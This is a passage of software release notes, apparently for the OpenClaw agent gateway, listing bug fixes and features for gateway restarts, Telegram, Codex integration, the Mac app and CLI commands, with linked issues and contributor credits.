<li>Gateway: continue restarting remaining channels when one hot-reload channel restart fails, while still reporting aggregate reload failure and rolling back plugin pre-replace stops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463173969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83054" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83054/hovercard" href="https://github.com/openclaw/openclaw/issues/83054">#83054</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</li>
<li>Gateway/plugins: bind admin HTTP RPC dispatch to the accepting gateway instance so multi-gateway processes cannot execute plugin HTTP control-plane calls against another live gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466988696" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83486" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83486/hovercard" href="https://github.com/openclaw/openclaw/issues/83486">#83486</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466988915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83487/hovercard" href="https://github.com/openclaw/openclaw/pull/83487">#83487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</li>
<li>Telegram: keep hot-reload restarts from marking polling accounts manually stopped and restart isolated ingress cleanly after worker shutdown, preserving Telegram replies across config reloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462834253" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83008" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83008/hovercard" href="https://github.com/openclaw/openclaw/issues/83008">#83008</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466042128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83410" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83410/hovercard" href="https://github.com/openclaw/openclaw/pull/83410">#83410</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram/Ollama: pass current Telegram image attachments into native PI/Ollama vision turns so live photo prompts reach Ollama as native images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462984078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83023" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83023/hovercard" href="https://github.com/openclaw/openclaw/issues/83023">#83023</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467422495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83516/hovercard" href="https://github.com/openclaw/openclaw/pull/83516">#83516</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Gateway/secrets: split the lightweight secrets runtime state and auth-store cache from the full secrets runtime and take a startup fast path when the gateway startup config has no SecretRef values, speeding up secrets startup while preserving cleanup and refresh semantics.</li>
<li>Codex app-server: rotate oversized native Codex threads before resume and cap dynamic tool-result text entering native Codex sessions, preventing stale oversized context from surviving OpenClaw compaction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462638811" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82981" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82981/hovercard" href="https://github.com/openclaw/openclaw/pull/82981">#82981</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hansolo949/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hansolo949">@hansolo949</a>.</li>
<li>Gateway/restart: drain pending replies and active chat runs during restart shutdown before sockets and channels close, aborting timed-out chat runs through the normal cleanup path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4292354940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69121" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69121/hovercard" href="https://github.com/openclaw/openclaw/pull/69121">#69121</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexlomt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexlomt">@alexlomt</a>.</li>
<li>Agents/Codex: use the Codex runtime context window for OpenAI-model preflight compaction and memory flush checks, so GPT-5.5 Codex sessions compact before hitting the smaller native context limit. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462658403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82982/hovercard" href="https://github.com/openclaw/openclaw/issues/82982">#82982</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vliuyt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vliuyt">@vliuyt</a>.</li>
<li>QA-Lab: clean orphaned gateway temp roots when a suite parent exits and wait on gateway plus transport readiness after config restarts, reducing stale <code>qa-channel</code> noise from interrupted runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249469816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65506/hovercard" href="https://github.com/openclaw/openclaw/issues/65506">#65506</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: wake qa-bus long polls that arrive with stale future cursors after a bus restart, preserving reconnect readiness for harness clients. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268454103" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67142" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67142/hovercard" href="https://github.com/openclaw/openclaw/pull/67142">#67142</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>QA-Lab: stage Multipass transfer scripts under OpenClaw's preferred temp root instead of raw OS temp paths, keeping the VM runner inside temp-path guardrails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236737157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64098" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64098/hovercard" href="https://github.com/openclaw/openclaw/pull/64098">#64098</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ImLukeF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ImLukeF">@ImLukeF</a>.</li>
<li>Agents/replies: keep surviving reply media and append a warning when other media references fail, so partial media normalization no longer drops failures silently. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jerry-Xin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jerry-Xin">@Jerry-Xin</a>.</li>
<li>Config/models: accept <code>thinkingFormat: "together"</code> in model compat config so Together routes can opt into the Together-specific thinking response shape.</li>
<li>Plugins/tokenjuice: bump the bundled tokenjuice runtime to 0.7.1, bringing Codex hook approval compatibility, pre-tool command wrapping fixes, and Rolldown/Vitest output compaction improvements into the OpenClaw plugin.</li>
<li>Agents/OpenAI: stop post-processing GPT-5 final replies with hardcoded brevity caps, preserving full channel responses instead of appending synthetic ellipses, and log when strict-agentic GPT-5 execution activates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462335362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82910" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82910/hovercard" href="https://github.com/openclaw/openclaw/issues/82910">#82910</a>.</li>
<li>Mac app: refine the Settings General and Connection panes with cleaner status panels, card rows, and a single native titlebar sidebar toggle.</li>
<li>Agents/media: deliver failed async image, music, and video generation completions directly when requester-session completion handoff fails, so channel users see provider errors instead of silent fallback stalls.</li>
<li>Browser/CDP: keep loopback proxy bypass active across both <code>NO_PROXY</code> casings and redact home-relative Chrome MCP profile paths in attach-failure diagnostics.</li>
<li>Agents/music: steer song, jingle, beat, anthem, and instrumental requests toward <code>music_generate</code> audio creation instead of lyric-only replies, and reserve <code>lyrics</code> for exact sung words.</li>
<li>Codex app-server: record native Codex tool calls and results into trajectory artifacts so debug/trajectory exports capture the full Codex-native tool history, not just OpenClaw-bridged turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Codex/app-server: keep bound conversation sessions on the owning agent runtime so native Codex control and follow-up turns do not fall back to the default agent client. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462465085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82954" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82954/hovercard" href="https://github.com/openclaw/openclaw/issues/82954">#82954</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462724002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82993/hovercard" href="https://github.com/openclaw/openclaw/pull/82993">#82993</a>)</li>
<li>CLI/infer: run gateway model probes in fresh explicit sessions so one-shot provider checks do not inherit default agent transcript state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462127302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82861/hovercard" href="https://github.com/openclaw/openclaw/pull/82861">#82861</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Providers/Together: send video-generation requests to Together's v2 video API even when shared text-model config still points at the v1 base URL. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462711627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82992/hovercard" href="https://github.com/openclaw/openclaw/pull/82992">#82992</a>)</li>
<li>Browser CLI: preserve browser-level options on nested commands, skip option values during lazy command registration, and keep long-running wait/download/dialog hooks open for their advertised wait window.</li>
<li>CLI/sessions: accept <code>openclaw sessions list</code> as an alias for <code>openclaw sessions</code>, matching other list-style commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432233621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81139" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81139/hovercard" href="https://github.com/openclaw/openclaw/issues/81139">#81139</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432597965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81163" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81163/hovercard" href="https://github.com/openclaw/openclaw/pull/81163">#81163</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YB0y/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YB0y">@YB0y</a>.</li>
<li>Channels/stream previews: widen compact progress draft lines and cut prose at word boundaries while preserving command/path suffixes, with <code>streaming.progress.maxLineChars</code> for channel-specific tuning.</li>
<li>CLI/plugins: have <code>openclaw plugins doctor</code> warn when a configured runtime needs a missing owner plugin, sharing the same install mapping as <code>openclaw doctor --fix</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4435782026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81326" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81326/hovercard" href="https://github.com/openclaw/openclaw/issues/81326">#81326</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4443400168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81674" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81674/hovercard" href="https://github.com/openclaw/openclaw/pull/81674">#81674</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zavianx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zavianx">@Zavianx</a>.</li>
<li>Agents/Codex: route OpenAI runs that resolve to <code>openai-codex</code> through the Codex provider and bootstrap OpenClaw's stored OAuth profile into the Codex harness when the harness owns transport, so <code>openai/*</code> model refs no longer fail with <code>No API key found for openai-codex</code> despite an existing Codex OAuth profile. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462142665" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82864" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82864/hovercard" href="https://github.com/openclaw/openclaw/pull/82864">#82864</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ragesaq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ragesaq">@ragesaq</a>.</li>
<li>Agents/ACP: distinguish prompt-submitted and runtime-active child stalls from true interactive waits, including redacted proxy-env diagnostics for Codex ACP no-output runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069428847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44810" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44810/hovercard" href="https://github.com/openclaw/openclaw/issues/44810">#44810</a>.</li>
<li>Agents/memory: explain that memory-triggered compaction exposes only <code>read</code> and append-only <code>write</code> when configured core tools are unavailable in <code>tools.allow</code> warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462438972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82941" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82941/hovercard" href="https://github.com/openclaw/openclaw/issues/82941">#82941</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/OpenAI: preserve deterministic tool payload ordering for prompt-cache reuse across OpenAI Responses and chat completions calls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462435142" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82940/hovercard" href="https://github.com/openclaw/openclaw/pull/82940">#82940</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>ACP/Codex: honor terminal ACP turn results so failed Codex/acpx runs are not recorded as successful after only progress text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409392717" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79522" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79522/hovercard" href="https://github.com/openclaw/openclaw/issues/79522">#79522</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dudaefj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dudaefj">@dudaefj</a>.</li>
<li>Telegram: warn when a media group drops photos that fail to download, including albums where every photo is skipped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4144617570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55216" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55216/hovercard" href="https://github.com/openclaw/openclaw/issues/55216">#55216</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462674675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82987/hovercard" href="https://github.com/openclaw/openclaw/pull/82987">#82987</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eldar702/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eldar702">@eldar702</a>.</li>
<li>Agents/skills: apply the full effective tool policy pipeline to inline <code>command-dispatch: tool</code> skill dispatch before owner-only filtering, preserving configured allow, deny, sandbox, sender, group, and subagent restrictions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392543885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78525" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78525/hovercard" href="https://github.com/openclaw/openclaw/pull/78525">#78525</a>)</li>
<li>Codex: avoid spawning native hook relay subprocesses for post-tool/finalize events with no registered hook handlers while preserving pre-tool safety and approval relays. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371228983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76552/hovercard" href="https://github.com/openclaw/openclaw/issues/76552">#76552</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386233442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78004/hovercard" href="https://github.com/openclaw/openclaw/pull/78004">#78004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evgyur/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evgyur">@evgyur</a>.</li>
<li>Channel accounts: keep top-level default channel accounts visible when named accounts are added alongside default credential material, so mixed legacy/new account configs keep resolving <code>default</code> instead of silently dropping it.</li>
<li>Agents/CLI: reject empty successful CLI subprocess replies as <code>empty_response</code> and keep them out of shared auth-profile health, so blank Claude CLI results no longer become green no-payload turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464556593" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83231" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83231/hovercard" href="https://github.com/openclaw/openclaw/issues/83231">#83231</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466129017" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83421" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83421/hovercard" href="https://github.com/openclaw/openclaw/pull/83421">#83421</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex/Telegram: synthesize native Codex tool progress from final turn snapshots so Telegram <code>/verbose</code> stays visible when command events arrive only at completion.</li>
<li>Codex/Telegram: deliver Codex verbose tool summaries in direct message-tool-only turns while suppressing message-send and activity-log noise. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464160180" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83186" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83186/hovercard" href="https://github.com/openclaw/openclaw/pull/83186">#83186</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Mac app: make Channels settings open faster by deferring config-schema work, avoiding startup channel probes, caching decoded channel status rows, and showing only compact quick settings instead of the full generated channel schema.</li>
<li>Control UI: include the Control UI and Gateway protocol versions in protocol-mismatch errors so stale app/dashboard pairings identify which side needs rebuilding or restarting.</li>
<li>Gateway/protocol: restore Gateway WS protocol v4 and keep <code>message.action</code> room-event metadata on the existing <code>inboundTurnKind</code> wire field while preserving internal inbound-event classification.</li>
<li>Agents/tools: prefer non-webchat session-key routes when the message tool has stale webchat context, so message-tool-only replies keep delivering to the originating channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462346514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82911" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82911/hovercard" href="https://github.com/openclaw/openclaw/issues/82911">#82911</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462785655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83004/hovercard" href="https://github.com/openclaw/openclaw/pull/83004">#83004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Channels: keep direct-message last-route writes on isolated <code>per-channel-peer</code> sessions instead of contaminating the agent main session with channel delivery context. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4030119907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/36614" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/36614/hovercard" href="https://github.com/openclaw/openclaw/issues/36614">#36614</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aspenas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aspenas">@aspenas</a>.</li>
<li>Mac app: move the Settings sidebar toggle into the native titlebar and tighten the General pane width.</li>
<li>Mac app: keep visited Settings panes mounted so switching tabs no longer blanks and reloads their content.</li>
<li>Mac app: make Config settings open from shallow schema lookups and load selected paths on demand instead of fetching and rendering the full generated config schema up front.</li>
<li>Codex: sanitize inline image payloads before Codex app-server and OpenAI Responses replay, and clear poisoned Codex thread bindings after invalid image errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462171502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82878" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82878/hovercard" href="https://github.com/openclaw/openclaw/issues/82878">#82878</a>.</li>
<li>Providers/GitHub Copilot: request identity-encoded Copilot API responses across token exchange, catalog, model calls, usage, and embeddings so compressed Business-account error payloads no longer reach JSON parsers as gzip bytes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462159211" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82871" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82871/hovercard" href="https://github.com/openclaw/openclaw/issues/82871">#82871</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tonyfe01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tonyfe01">@tonyfe01</a>.</li>
<li>Telegram: redact nested raw-update identifiers and user metadata before verbose raw update logging, preserving useful update/message ids without exposing chat, user, command, or profile details. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462443792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82945" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82945/hovercard" href="https://github.com/openclaw/openclaw/pull/82945">#82945</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: preserve replied-to bot messages, captions, and media metadata in group reply chains so follow-up replies understand what the user is reacting to. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462136761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82863/hovercard" href="https://github.com/openclaw/openclaw/pull/82863">#82863</a>)</li>
<li>Providers/Together: update PI runtime packages to 0.74.1 and emit Together-style <code>reasoning.enabled</code>/<code>max_tokens</code> controls for reasoning-capable OpenAI-completions models.</li>
<li>Agents/diagnostics: split slow embedded-run <code>attempt-dispatch</code> startup summaries into workspace, prompt, runtime-plan, and final dispatch subspans so traces identify the delayed setup phase. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461655494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82782" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82782/hovercard" href="https://github.com/openclaw/openclaw/issues/82782">#82782</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461658014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82783" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82783/hovercard" href="https://github.com/openclaw/openclaw/pull/82783">#82783</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/Codex: flatten nested tool-result middleware blocks into bounded text so successful message sends are no longer replaced with <code>Tool output unavailable due to post-processing error</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462346626" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82912" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82912/hovercard" href="https://github.com/openclaw/openclaw/issues/82912">#82912</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>.</li>
<li>CLI/media: accept HTTP(S) URLs in <code>openclaw infer image describe --file</code>, fetching remote images through the guarded media path instead of treating URLs as local files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461995435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82837/hovercard" href="https://github.com/openclaw/openclaw/issues/82837">#82837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462089264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82854" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82854/hovercard" href="https://github.com/openclaw/openclaw/pull/82854">#82854</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/subagents: keep session-backed parent runs active when the child wait call times out before the child session has actually settled, so late subagent completions are reconciled instead of being lost. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461685397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82787" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82787/hovercard" href="https://github.com/openclaw/openclaw/issues/82787">#82787</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ramitrkar-hash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ramitrkar-hash">@ramitrkar-hash</a>.</li>
<li>Control UI: advertise shared Gateway protocol constants in browser connect frames, fixing protocol mismatch handshakes after protocol constant drift. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462182289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82882/hovercard" href="https://github.com/openclaw/openclaw/issues/82882">#82882</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
